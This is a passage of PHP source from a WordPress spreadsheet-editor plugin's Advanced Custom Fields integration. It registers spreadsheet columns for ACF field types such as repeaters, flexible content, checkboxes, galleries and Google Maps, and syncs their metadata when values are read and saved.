$this->flexible_content_columns_keys_parsed[ $key ] ) ? $this->flexible_content_columns_keys_parsed[ $key ] : false; } public function remove_flexible_content_columns_from_prefetch( $column_keys, $post_type ) { $regex = '/^(' . implode( '|', array_keys( $this->flexible_content_keys ) ) . ')=\d/'; foreach ( $column_keys as $index => $column_key ) { if ( preg_match( $regex, $column_key ) ) { unset( $column_keys[ $index ] ); } } return $column_keys; } public function get_flexible_content_field_value( $value, $object_id, $key, $single ) { if ( empty( $this->flexible_content_keys ) || strpos( $key, '_' ) === 0 || ! preg_match( '/=\d+=/', $key ) ) { return $value; } $data_from_key = $this->get_flexible_content_field_data_from_wpse_key( $key ); if ( empty( $data_from_key ) ) { return $value; } remove_filter( 'get_post_metadata', array( $this, __FUNCTION__ ) ); remove_filter( 'get_user_metadata', array( $this, __FUNCTION__ ) ); $layouts_list = VGSE()->helpers->get_current_provider()->get_item_meta( $object_id, $data_from_key['main_key'], true, 'read' ); if ( empty( $layouts_list ) ) { $layouts_list = array(); } if ( isset( $layouts_list[ $data_from_key['row_index'] ] ) && $layouts_list[ $data_from_key['row_index'] ] === $data_from_key['layout_key'] ) { $key_parts = explode( '=', $key ); unset( $key_parts[2] ); $key = implode( '_', $key_parts ); $value = VGSE()->helpers->get_current_provider()->get_item_meta( $object_id, $key, $single, 'save', true ); } else { $value = ''; } add_filter( 'get_post_metadata', array( $this, __FUNCTION__ ), 10, 4 ); add_filter( 'get_user_metadata', array( $this, __FUNCTION__ ), 10, 4 ); return $value; } public function sync_flexible_content_main_layouts_list( $continue_saving, $id, $key, $value ) { global $wpdb; if ( empty( $this->flexible_content_keys ) || strpos( $key, '_' ) === 0 || ! preg_match( '/=\d+=/', $key ) ) { return $continue_saving; } $data_from_key = $this->get_flexible_content_field_data_from_wpse_key( $key ); if ( empty( $data_from_key ) ) { return $continue_saving; } remove_filter( 'update_post_metadata', array( $this, __FUNCTION__ ), 10 ); remove_filter( 'update_user_metadata', array( $this, __FUNCTION__ ), 10 ); // Save the subfield value $key_parts = explode( '=', $key ); unset( $key_parts[2] ); $subfield_key = implode( '_', $key_parts ); if ( empty( $value ) ) { VGSE()->helpers->get_current_provider()->delete_item_meta( $id, $subfield_key ); } else { VGSE()->helpers->get_current_provider()->update_item_meta( $id, $subfield_key, $value ); } // Update the list of layouts in the main value if ( ! empty( $value ) ) { $main_value = VGSE()->helpers->get_current_provider()->get_item_meta( $id, $data_from_key['main_key'], true, 'save', true ); if ( empty( $main_value ) ) { $main_value = array(); } $main_value[ (int) $data_from_key['row_index'] ] = $data_from_key['layout_key']; VGSE()->helpers->get_current_provider()->update_item_meta( $id, $data_from_key['main_key'], $main_value ); } // Save the ACF field keys // We have a function that saves the acf field keys of all the fields except flexible content fields because they use special keys $sheet_key = VGSE()->helpers->get_provider_from_query_string(); $column_settings = VGSE()->helpers->get_column_settings( $key, $sheet_key ); if ( empty( $value ) ) { VGSE()->helpers->get_current_provider()->delete_item_meta( $id, '_' . $subfield_key ); if ( ! empty( $column_settings['acf_field']['parent'] ) && is_array( $column_settings['acf_field']['parent'] ) ) { VGSE()->helpers->get_current_provider()->delete_item_meta( $id, '_' . $column_settings['acf_field']['parent']['name'] ); } } else { VGSE()->helpers->get_current_provider()->update_item_meta( $id, '_' . $subfield_key, $column_settings['acf_field']['key'] ); if ( ! empty( $column_settings['acf_clone_main_key'] ) ) { VGSE()->helpers->get_current_provider()->update_item_meta( $id, '_' . $column_settings['acf_clone_field_key'], $column_settings['acf_clone_field_name'] ); VGSE()->helpers->get_current_provider()->update_item_meta( $id, '_' . $column_settings['acf_clone_main_name'], $column_settings['acf_clone_main_key'] ); VGSE()->helpers->get_current_provider()->update_item_meta( $id, $column_settings['acf_clone_main_name'], '' ); } elseif ( ! empty( $column_settings['acf_field']['parent'] ) && is_array( $column_settings['acf_field']['parent'] ) ) { VGSE()->helpers->get_current_provider()->update_item_meta( $id, '_' . $column_settings['acf_field']['parent']['name'], $column_settings['acf_field']['parent']['key'] ); } } add_filter( 'update_post_metadata', array( $this, __FUNCTION__ ), 10, 4 ); add_filter( 'update_user_metadata', array( $this, __FUNCTION__ ), 10, 4 ); return false; } public function filter_save_checkbox_from_serialized_class( $custom_saved, $final_array, $value, $post_id, $cell_key, $post_type, $column_settings, $spreadsheet_columns, $serialized_field ) { if ( empty( $column_settings['is_acf_checkbox'] ) ) { return $custom_saved; } $sample_field_key = $serialized_field->settings['sample_field_key']; // Allow to save field with the acf choice key, 1, yes, true, or check if ( in_array( $value, array( '1', 'yes', 'true', 'check', $column_settings['formatted']['checkedTemplate'] ), true ) ) { $value = $column_settings['formatted']['checkedTemplate']; } else { $value = ''; } if ( empty( $final_array ) || ! is_array( $final_array ) ) { $final_array = array(); } $final_array[] = $value; $final_array = VGSE()->helpers->array_remove_empty( array_unique( VGSE()->helpers->array_flatten( $final_array ) ) ); if ( empty( $value ) ) { $index = array_search( $column_settings['formatted']['checkedTemplate'], $final_array ); if ( $index !== false ) { unset( $final_array[ $index ] ); } } return $final_array; } public function save_acf_field_key_after_sql_formula( $column, $formula, $post_type, $spreadsheet_columns, $post_ids ) { $column_settings = $spreadsheet_columns[ $column ]; if ( empty( $column_settings['acf_field'] ) || empty( $column_settings['acf_field']['key'] ) || in_array( $column, $this->flexible_content_columns_keys, true ) ) { return; } $column_settings['key_for_formulas'] = '_' . $column_settings['key_for_formulas']; $formula = '=REPLACE(""$current_value$"",""' . $column_settings['acf_field']['key'] . '"")'; WP_Sheet_Editor_Formulas::get_instance()->execute_formula_as_sql( $post_ids, $formula, $column_settings, $post_type ); if ( ! empty( $column_settings['acf_field']['parent'] ) ) { $column_settings['key_for_formulas'] = '_' . $column_settings['acf_field']['parent']['name']; $formula = '=REPLACE(""$current_value$"",""' . $column_settings['acf_field']['parent']['key'] . '"")'; WP_Sheet_Editor_Formulas::get_instance()->execute_formula_as_sql( $post_ids, $formula, $column_settings, $post_type ); } } public function save_acf_field_key( $item, $post_type, $column_settings, $key, $spreadsheet_columns, $post_id ) { if ( empty( $column_settings['acf_field'] ) || empty( $column_settings['acf_field']['key'] ) || in_array( $key, $this->flexible_content_columns_keys, true ) ) { return; } if ( ! empty( $column_settings['acf_field'] ) ) { $real_key = $column_settings['acf_field']['name']; } else { $real_key = preg_replace( '/_\d+_i_\d+$/', '', $key ); } VGSE()->helpers->get_current_provider()->update_item_meta( $post_id, '_' . $real_key, $column_settings['acf_field']['key'] ); if ( ! empty( $column_settings['acf_field']['parent'] ) && is_array( $column_settings['acf_field']['parent'] ) ) { VGSE()->helpers->get_current_provider()->update_item_meta( $post_id, '_' . $column_settings['acf_field']['parent']['name'], $column_settings['acf_field']['parent']['key'] ); } } public function exclude_keys_from_serialized_columns( $column_settings, $first_set_keys, $field, $key, $post_type ) { if ( ! isset( $this->excluded_serialized_keys[ $post_type ] ) ) { return $column_settings; } foreach ( $this->excluded_serialized_keys[ $post_type ] as $field_key ) { if ( ! empty( $column_settings['serialized_field_original_key'] ) && $column_settings['serialized_field_original_key'] === $field_key ) { $column_settings = array(); } } return $column_settings; } public function filter_map_data_for_saving( $new_value, $id, $real_key ) { if ( ! isset( self::$map_keys[ $real_key ] ) ) { return $new_value; } if ( empty( $new_value['address'] ) ) { $new_value['lat'] = ''; $new_value['lng'] = ''; } else { $google_maps_api_key = acf_get_setting( 'google_api_key' ); if ( empty( $google_maps_api_key ) ) { throw new Exception( __( 'You need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorial', 'vg_sheet_editor' ), E_USER_ERROR ); } $geo_response = wp_remote_get( 'https://maps.googleapis.com/maps/api/geocode/json?key=' . $google_maps_api_key . '&language=en&address=' . urlencode( $new_value['address'] ) . '&sensor=false' ); $geo_json = wp_remote_retrieve_body( $geo_response ); $geo = json_decode( $geo_json, true ); if ( $geo['status'] === 'OK' ) { $new_value['lat'] = $geo['results'][0]['geometry']['location']['lat']; $new_value['lng'] = $geo['results'][0]['geometry']['location']['lng']; } } return $new_value; } public function prepare_gallery_value_for_display( $value, $post, $key, $column_settings ) { $post_type = VGSE()->helpers->get_provider_from_query_string(); if ( ! isset( $this->gallery_field_keys[ $post_type ] ) || ! in_array( $key, $this->gallery_field_keys[ $post_type ] ) ) { return $value; } if ( ! empty( $value ) && is_array( $value ) ) { $value = implode( ',', $value ); } return $value; } public function prepare_checkbox_value_for_display( $value, $post, $key, $column_settings ) { $real_key = preg_replace( '/_\d+$/', '', $key ); if ( $key === $real_key || ! isset( self::$checkbox_keys[ $real_key ] ) ) { return $value; } $post_id = $post->ID; $raw_value = VGSE()->helpers->get_current_provider()->get_item_meta( $post_id, $real_key, true, 'read' ); if ( empty( $raw_value ) || ! is_array( $raw_value ) ) { return $value; } $index = (int) preg_replace( '/^.+_(\d+)$/', '$1', $key ); $accepted_values = array_keys( self::$checkbox_keys[ $real_key ]['choices'] ); $expected_value = $accepted_values[ $index ]; $value = ( in_array( $expected_value, $raw_value ) ) ? $expected_value : ''; return $value; } public function filter_checkbox_column_settings( $column_settings, $serialized_field, $post_type ) { // If this serialized field is not an acf checkbox but uses a key known as // acf checkbox, return empty to not register the column $settings = $serialized_field->settings; if ( empty( $settings['is_acf_checkbox'] ) && in_array( $settings['sample_field_key'], array_keys( self::$checkbox_keys ) ) ) { return array(); } if ( empty( $settings['is_acf_checkbox'] ) ) { return $column_settings; } $key_parts = explode( '_', $column_settings['key'] ); $field_index = (int) end( $key_parts ); $choices_values = array_keys( $settings['acf_choices'] ); $column_settings['formatted']['type'] = 'checkbox'; $column_settings['formatted']['checkedTemplate'] = $choices_values[ $field_index ]; $column_settings['formatted']['uncheckedTemplate'] = ''; $column_settings['formatted']['default_value'] = isset( $column_settings['default_value'] ) ? $column_settings['default_value'] : ''; $column_settings['title'] = $settings['column_title_prefix'] . ': ' . $settings['acf_choices'][ $choices_values[ $field_index ] ]; // We ignore the default value set in ACF because it causes issues. // If we show the checkbox with the default value (i.e. checked), it will ignore it as checked when saving // because it would have the same value as initially loaded $column_settings['default_value'] = ''; $column_settings['is_acf_checkbox'] = true; return $column_settings; } /** * Get fields registered in Advanced Custom Fields for a specific post type * @param str $post_type * @return boolean|array */ public function get_acf_fields_objects_by_post_type( $post_type, $editor ) { // get field groups $acfs = acf_get_field_groups(); $fields = array(); if ( $acfs ) { foreach ( $acfs as $acf ) { if ( empty( $acf['location'] ) ) { continue; } if ( empty( $acf['active'] ) ) { continue; } $post_type_fields = false; $location = serialize( $acf['location'] ); if ( $editor->provider->is_post_type ) { if ( $post_type === 'attachment' && strpos( $location, '"attachment"' ) ) { $post_type_fields = true; } elseif ( strpos( $location, '"post_type"' ) !== false && strpos( $location, '"' . $post_type . '"' ) !== false ) { $post_type_fields = true; } elseif ( strpos( $location, 'post_taxonomy' ) !== false ) { $one_level_locations = call_user_func_array( 'array_merge', $acf['location'] ); $post_taxonomy_locations = wp_list_filter( $one_level_locations, array( 'param' => 'post_taxonomy', 'operator' => '==', ) ); foreach ( $post_taxonomy_locations as $post_taxonomy_location ) { $location_value = explode( ':', $post_taxonomy_location['value'] ); $taxonomy_key = current( $location_value ); if ( taxonomy_exists( $taxonomy_key ) && in_array( $post_type, get_taxonomy( $taxonomy_key )->object_type, true ) ) { $post_type_fields = true; break; } } } else { $post_type_fields = array_merge( wp_list_filter( $acf['location'][0], array( 'param' => 'post_type', 'operator' => '==', 'value' => $post_type, ) ), wp_list_filter( $acf['location'][0], array( 'param' => 'post_type', 'operator' => '==', 'value' => 'all', ) ) ); } } elseif ( $editor->provider->key === 'term' ) { $post_type_fields = array_merge( wp_list_filter( $acf['location'][0], array( 'param' => 'taxonomy', 'operator' => '==', 'value' => $post_type, ) ), wp_list_filter( $acf['location'][0], array( 'param' => 'taxonomy', 'operator' => '==', 'value' => 'all', ) ) ); } elseif ( $editor->provider->key === 'user' ) { $post_type_fields = preg_match( '/(user_role|user_form)/', $location ) > 0; } else { $post_type_fields = true; } if ( ! empty( $post_type_fields ) ) { $fields[] = acf_get_fields( $acf ); } } } return apply_filters( 'vg_sheet_editor/acf/fields', $fields, $post_type, $acfs ); } /** * Is acf plugin active * @return boolean */ public function is_acf_plugin_active() { return function_exists( 'acf_get_field_groups' ) && class_exists( 'ACF' ); } /** * Creates or returns an instance of this class. */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new WP_Sheet_Editor_ACF(); self::$instance->init(); } return self::$instance; } public function __set( $name, $value ) { $this->$name = $value; } public function __get( $name ) { return $this->$name; } /** * Register columns in the spreadsheet * @return null */ public function register_columns( $editor ) { if ( $editor->provider->key === 'user' ) { $post_types = array( 'user', ); } else { $post_types = $editor->args['enabled_post_types']; } if ( empty( $post_types ) ) { return; } foreach ( $post_types as $post_type ) { if ( empty( $post_type ) ) { continue; } $acf_post_type_groups = $this->get_acf_fields_objects_by_post_type( $post_type, $editor ); if ( empty( $acf_post_type_groups ) ) { continue; } if ( ! isset( $this->gallery_field_keys[ $post_type ] ) ) { $this->gallery_field_keys[ $post_type ] = array(); } if ( ! isset( $this->excluded_serialized_keys[ $post_type ] ) ) { $this->excluded_serialized_keys[ $post_type ] = array(); } foreach ( $acf_post_type_groups as $acf_group_index => $acf_group ) { if ( empty( $acf_group ) ) { continue; } $this->_register_columns_for_acf_fields( $acf_group, $post_type, $editor ); } } } public function get_taxonomy_cell( $post, $cell_key, $cell_args ) { $terms = VGSE()->helpers->get_current_provider()->get_item_meta( $post->ID, $cell_key, true ); $taxonomy = $cell_args['acf_field']['taxonomy']; $out = ''; if ( $terms ) { $out = VGSE()->data_helpers->prepare_post_terms_for_display( get_terms( array( 'taxonomy' => $taxonomy, 'include' => $terms, 'update_term_meta_cache' => false, 'hide_empty' => false, ) ) ); } return html_entity_decode( $out ); } public function update_taxonomy_cell( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { $data_to_save = trim( $data_to_save ); $taxonomy = $cell_args['acf_field']['taxonomy']; if ( empty( $data_to_save ) ) { $terms_saved = ''; } else { $terms_saved = VGSE()->data_helpers->prepare_post_terms_for_saving( $data_to_save, $taxonomy ); } VGSE()->helpers->get_current_provider()->update_item_meta( $post_id, $cell_key, $terms_saved ); if ( $cell_args['acf_field']['save_terms'] ) { wp_set_object_terms( $post_id, $terms_saved, $taxonomy ); } } public function _prepare_date_for_display( $value, $post, $cell_key, $cell_args ) { if ( ! empty( $value ) ) { $timestamp = strtotime( $value ); $value = date( $cell_args['acf_field']['display_format'], $timestamp ); } return $value; } public function _prepare_date_for_database( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { if ( ! empty( $data_to_save ) ) { $date = DateTime::createFromFormat( $cell_args['acf_field']['display_format'], $data_to_save ); if ( $date ) { $data_to_save = $date->format( 'Ymd' ); } else { $data_to_save = date( 'Ymd', strtotime( $data_to_save ) ); } } return $data_to_save; } public function _prepare_gallery_for_database( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { if ( ! empty( $data_to_save ) ) { $data_to_save = array_filter( VGSE()->helpers->maybe_replace_urls_with_file_ids( explode( ',', $data_to_save ) ) ); } return $data_to_save; } public function _register_columns_for_acf_fields( $acf_group, $post_type, $editor, $default_args = array() ) { $unnecessary_acf_field_keys = array_flip( array( 'wrapper', 'conditional_logic', 'class', 'instructions', 'aria-label', 'menu_order', 'maxlength', 'prepend', 'append', '_valid' ) ); if ( empty( $default_args ) ) { $default_args = array( 'allow_custom_format' => true, ); } foreach ( $acf_group as $acf_field_index => $acf_field ) { $acf_field = array_diff_key( $acf_field, $unnecessary_acf_field_keys ); // We don't register the text fields and unsupported fields because // they will appear automatically. The custom columns module registers // all custom fields as plain text. We only register fields with special format here. if ( in_array( $acf_field['type'], array( 'image', 'file' ) ) ) { $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => $acf_field['label'], 'type' => 'boton_gallery', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'acf_field' => $acf_field, ) ) ); } elseif ( $acf_field['type'] === 'date_picker' ) { $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'acf_field' => $acf_field, 'formatted' => array( 'type' => 'date', 'customDatabaseFormat' => 'Ymd', 'dateFormatPhp' => $acf_field['display_format'], 'correctFormat' => true, 'defaultDate' => '', 'datePickerConfig' => array( 'firstDay' => 0, 'showWeekNumber' => true, 'numberOfMonths' => 1, 'yearRange' => array( 1900, (int) date( 'Y' ) + 20 ), ), ), 'prepare_value_for_database' => array( $this, '_prepare_date_for_database' ), 'prepare_value_for_display' => array( $this, '_prepare_date_for_display' ), ) ) ); } elseif ( in_array( $acf_field['type'], array( 'text', 'textarea', 'number', 'range', 'email', 'url', 'password', 'oembed' ) ) ) { $value_type = 'text'; if ( $acf_field['type'] === 'email' ) { $value_type = 'email'; } $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'acf_field' => $acf_field, 'value_type' => $value_type, ) ) ); } elseif ( in_array( $acf_field['type'], array( 'relationship' ) ) ) { $this->excluded_serialized_keys[ $post_type ][] = $acf_field['name']; $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'prepare_value_for_display' => array( $this, 'prepare_relationship_for_display' ), 'save_value_callback' => array( $this, 'update_relationship_for_cell' ), 'acf_field' => $acf_field, 'list_separation_character' => ',', ) ) ); } elseif ( in_array( $acf_field['type'], array( 'wysiwyg' ) ) ) { $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'acf_field' => $acf_field, 'formatted' => array( 'renderer' => 'wp_tinymce', 'wpse_template_key' => 'tinymce_cell_template', ), ) ) ); } elseif ( in_array( $acf_field['type'], array( 'radio' ) ) || ( $acf_field['type'] === 'select' && ! $acf_field['multiple'] ) ) { $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'acf_field' => $acf_field, 'default_value' => $acf_field['default_value'], 'formatted' => array( 'editor' => 'select', 'selectOptions' => $acf_field['choices'], ), ) ) ); } elseif ( $acf_field['type'] === 'taxonomy' ) { $this->excluded_serialized_keys[ $post_type ][] = $acf_field['name']; $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'get_value_callback' => array( $this, 'get_taxonomy_cell' ), 'save_value_callback' => array( $this, 'update_taxonomy_cell' ), 'acf_field' => $acf_field, 'list_separation_character' => ',', 'formatted' => array( 'editor' => 'wp_chosen', 'selectOptions' => array(), 'chosenOptions' => array( 'multiple' => true, 'search_contains' => true, 'create_option' => true, 'skip_no_results' => true, 'persistent_create_option' => true, 'data' => array(), 'ajaxParams' => array( 'action' => 'vgse_get_taxonomy_terms', 'taxonomy_key' => $acf_field['taxonomy'], ), ), ), ) ) ); } elseif ( $acf_field['type'] === 'select' && $acf_field['multiple'] ) { $this->excluded_serialized_keys[ $post_type ][] = $acf_field['name']; $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'prepare_value_for_display' => array( $this, 'prepare_multi_select_for_display' ), 'save_value_callback' => array( $this, 'update_multi_select_for_cell' ), 'acf_field' => $acf_field, 'list_separation_character' => ',', ) ) ); } elseif ( in_array( $acf_field['type'], array( 'user' ) ) ) { $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'formatted' => array( 'type' => 'autocomplete', 'source' => 'searchUsers', ), 'prepare_value_for_display' => array( $this, '_prepare_user_for_display' ), 'prepare_value_for_database' => array( $this, '_prepare_user_for_database' ), 'acf_field' => $acf_field, ) ) ); } elseif ( in_array( $acf_field['type'], array( 'page_link', 'post_object' ) ) ) { $acf_field_post_type = null; if ( ! empty( $acf_field['post_type'] ) ) { $acf_field_post_type = is_array( $acf_field['post_type'] ) ? current( $acf_field['post_type'] ) : $acf_field['post_type']; } $formatted = array( 'type' => 'autocomplete', 'source' => 'searchPostByKeyword', 'searchPostType' => $acf_field_post_type, 'comment' => array( 'value' => __( 'Enter a title', 'vg_sheet_editor' ) ), ); if ( ! empty( $acf_field['multiple'] ) && $acf_field_post_type ) { $posts_count = array_sum( (array) wp_count_posts() ); if ( $posts_count < 500 ) { $formatted = array( 'editor' => 'wp_chosen', 'selectOptions' => array(), 'chosenOptions' => array( 'multiple' => true, 'search_contains' => true, 'create_option' => true, 'skip_no_results' => true, 'persistent_create_option' => true, 'data' => array(), 'ajaxParams' => array( 'action' => 'vgse_find_post_by_name', 'search_post_type' => $acf_field_post_type, ), ), ); } else { $formatted = array( 'comment' => array( 'value' => sprintf( __( 'Enter titles separated by %s', 'vg_sheet_editor' ), VGSE()->helpers->get_term_separator() ) ), ); } $this->excluded_serialized_keys[ $post_type ][] = $acf_field['name']; } $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'formatted' => $formatted, 'prepare_value_for_display' => array( $this, '_prepare_posts_for_display' ), 'prepare_value_for_database' => array( $this, '_prepare_posts_for_database' ), 'acf_field' => $acf_field, 'acf_field_search_post_type' => $acf_field_post_type, ) ) ); } elseif ( in_array( $acf_field['type'], array( 'true_false' ) ) ) { $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'acf_field' => $acf_field, 'default_value' => $acf_field['default_value'], 'formatted' => array( 'type' => 'checkbox', 'checkedTemplate' => 1, 'uncheckedTemplate' => 0, ), 'default_value' => 0, ) ) ); } elseif ( in_array( $acf_field['type'], array( 'gallery' ) ) ) { $this->gallery_field_keys[ $post_type ][] = $acf_field['name']; $this->excluded_serialized_keys[ $post_type ][] = $acf_field['name']; $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => $acf_field['label'], 'type' => 'boton_gallery_multiple', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'acf_field' => $acf_field, 'prepare_value_for_database' => array( $this, '_prepare_gallery_for_database' ), 'prepare_value_for_display' => array( $this, 'prepare_gallery_value_for_display' ), ) ) ); } elseif ( in_array( $acf_field['type'], array( 'link' ) ) ) { $sample_field = array( 'title' => '', 'url' => '', 'target' => '', ); new WP_Sheet_Editor_Infinite_Serialized_Field( array( 'sample_field_key' => $acf_field['name'], 'sample_field' => $sample_field, 'column_width' => 150, 'column_title_prefix' => $acf_field['label'], // to remove the field key from the column title 'level' => 1, 'allowed_post_types' => array( $post_type ), 'is_single_level' => true, 'allow_in_wc_product_variations' => false, 'is_acf_link' => true, 'column_settings' => array_merge( $default_args, array( 'acf_field' => $acf_field, ) ), ) ); $this->excluded_serialized_keys[ $post_type ][] = $acf_field['name']; } elseif ( in_array( $acf_field['type'], array( 'checkbox' ) ) && empty( VGSE()->options['acf_show_checkboxes_multi_dropdown'] ) ) { $sample_field = array(); $choice_index = 0; foreach ( $acf_field['choices'] as $choice_key => $choice_label ) { $sample_field[] = ( is_array( $acf_field['default_value'] ) && isset( $acf_field['default_value'][ $choice_index ] ) ) ? $acf_field['default_value'][ $choice_index ] : ''; $choice_index++; } new WP_Sheet_Editor_Infinite_Serialized_Field( array( 'sample_field_key' => $acf_field['name'], 'sample_field' => $sample_field, 'column_width' => 150, 'column_title_prefix' => $acf_field['label'], // to remove the field key from the column title 'level' => 1, 'allowed_post_types' => array( $post_type ), 'is_single_level' => true, 'allow_in_wc_product_variations' => false, 'is_acf_checkbox' => true, 'acf_choices' => $acf_field['choices'], 'column_settings' => array_merge( $default_args, array( 'acf_field' => $acf_field, 'prepare_value_for_display' => array( $this, 'prepare_checkbox_value_for_display' ), ) ), ) ); self::$checkbox_keys[ $acf_field['name'] ] = $acf_field; $this->excluded_serialized_keys[ $post_type ][] = $acf_field['name']; } elseif ( $acf_field['type'] === 'checkbox' && ! empty( VGSE()->options['acf_show_checkboxes_multi_dropdown'] ) ) { $select_options = array(); foreach ( $acf_field['choices'] as $choice_key => $choice_label ) { $select_options[] = array( 'id' => $choice_key, 'label' => $choice_label, ); } $editor->args['columns']->register_item( $acf_field['name'], $post_type, array_merge( $default_args, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => $acf_field['label'], 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_plain_text' => true, 'formatted' => array( 'editor' => 'wp_chosen', 'selectOptions' => $acf_field['choices'], 'chosenOptions' => array( 'multiple' => true, 'search_contains' => true, ), ), 'prepare_value_for_display' => array( $this, 'prepare_multi_select_for_display' ), 'save_value_callback' => array( $this, 'update_multi_select_for_cell' ), 'acf_field' => $acf_field, ) ) ); } elseif ( in_array( $acf_field['type'], array( 'google_map' ) ) ) { new WP_Sheet_Editor_Infinite_Serialized_Field( array( 'sample_field_key' => $acf_field['name'], 'sample_field' => array( 'address' => '', 'lat' => '', 'lng' => '', ), 'column_width' => 150, 'column_title_prefix' => $acf_field['label'], // to remove the field key from the column title 'level' => 1, 'allowed_post_types' => array( $post_type ), 'is_single_level' => true, 'allow_in_wc_product_variations' => false, 'is_acf_map' => true, 'column_settings' => array_merge( $default_args, array( 'acf_field' => $acf_field, ) ), ) ); self::$map_keys[ $acf_field['name'] ] = $acf_field; } elseif ( in_array( $acf_field['type'], array( 'repeater' ) ) && class_exists( 'acf_pro' ) ) { $this->repeater_keys[ $acf_field['name'] ] = array(); // The parent repeater is not editable, it's used internally to keep count of internal rows $editor->args['columns']->remove_item( $acf_field['name'], $post_type ); $repeater_count_values = $this->_get_repeater_count_values( $acf_field['name'], $post_type, $editor ); $highest_count = ( empty( $repeater_count_values ) || empty( $repeater_count_values[0] ) ) ? 3 : (int) $repeater_count_values[0]; // Save the subfield keys for processing the values during saving/reading foreach ( $acf_field['sub_fields'] as $subfield ) { $this->repeater_keys[ $acf_field['name'] ][] = '/' . preg_quote( $acf_field['name'], '/' ) . '_\d+_' . preg_quote( $subfield['name'], '/' ) . '$/'; } // Register columns for each subfield for ( $i = 0; $i < $highest_count; $i++ ) { $repeater_field_group = array(); foreach ( $acf_field['sub_fields'] as $subfield ) { $subfield['parent'] = array( 'name' => $acf_field['name'], 'label' => $acf_field['label'], 'key' => $acf_field['key'], ); $subfield['name'] = $acf_field['name'] . '_' . $i . '_' . $subfield['name']; $subfield['label'] = implode( ' : ', array( $acf_field['label'], $i + 1, $subfield['label'] ) ); $repeater_field_group[] = $subfield; } $this->_register_columns_for_acf_fields( $repeater_field_group, $post_type, $editor, array( 'allow_for_global_sort' => false, 'allow_role_restrictions_in_columns_manager' => false, 'allow_readonly_option_in_columns_manager' => false, 'allow_custom_format' => false, ) ); } } elseif ( in_array( $acf_field['type'], array( 'flexible_content' ) ) && class_exists( 'acf_pro' ) ) { $this->flexible_content_keys[ $acf_field['name'] ] = array(); // The parent repeater is not editable, it's used internally to keep count of internal rows $editor->args['columns']->remove_item( $acf_field['name'], $post_type ); // $repeater_count_values = $this->_get_repeater_count_values( $acf_field['name'], $post_type, $editor ); // $highest_count = ( empty( $repeater_count_values ) || empty( $repeater_count_values[0] ) ) ? 3 : (int) $repeater_count_values[0]; $highest_count = 3; // Remove the automatically registered columns, because they're duplicates as we use our own columns with special keys $registered_columns = array_keys( $editor->get_provider_items( $post_type ) ); foreach ( $registered_columns as $column_key ) { foreach ( $acf_field['layouts'] as $layout ) { foreach ( $layout['sub_fields'] as $subfield ) { $regex = '/^' . preg_quote( $acf_field['name'], '/' ) . '_\d+_' . preg_quote( $subfield['name'], '/' ) . '$/'; if ( preg_match( $regex, $column_key ) ) { $editor->args['columns']->remove_item( $column_key, $post_type ); } } } } $editor->args['columns']->clear_cache( $post_type ); for ( $i = 0; $i < $highest_count; $i++ ) { foreach ( $acf_field['layouts'] as $layout ) { if ( ! isset( $this->flexible_content_keys[ $acf_field['name'] ][ $layout['name'] ] ) ) { $this->flexible_content_keys[ $acf_field['name'] ][ $layout['name'] ] = array(); } // Register columns for each subfield $repeater_field_group = array(); foreach ( $layout['sub_fields'] as $subfield ) { // Save the subfield keys for processing the values during saving/reading $field_regex = '/^' . preg_quote( 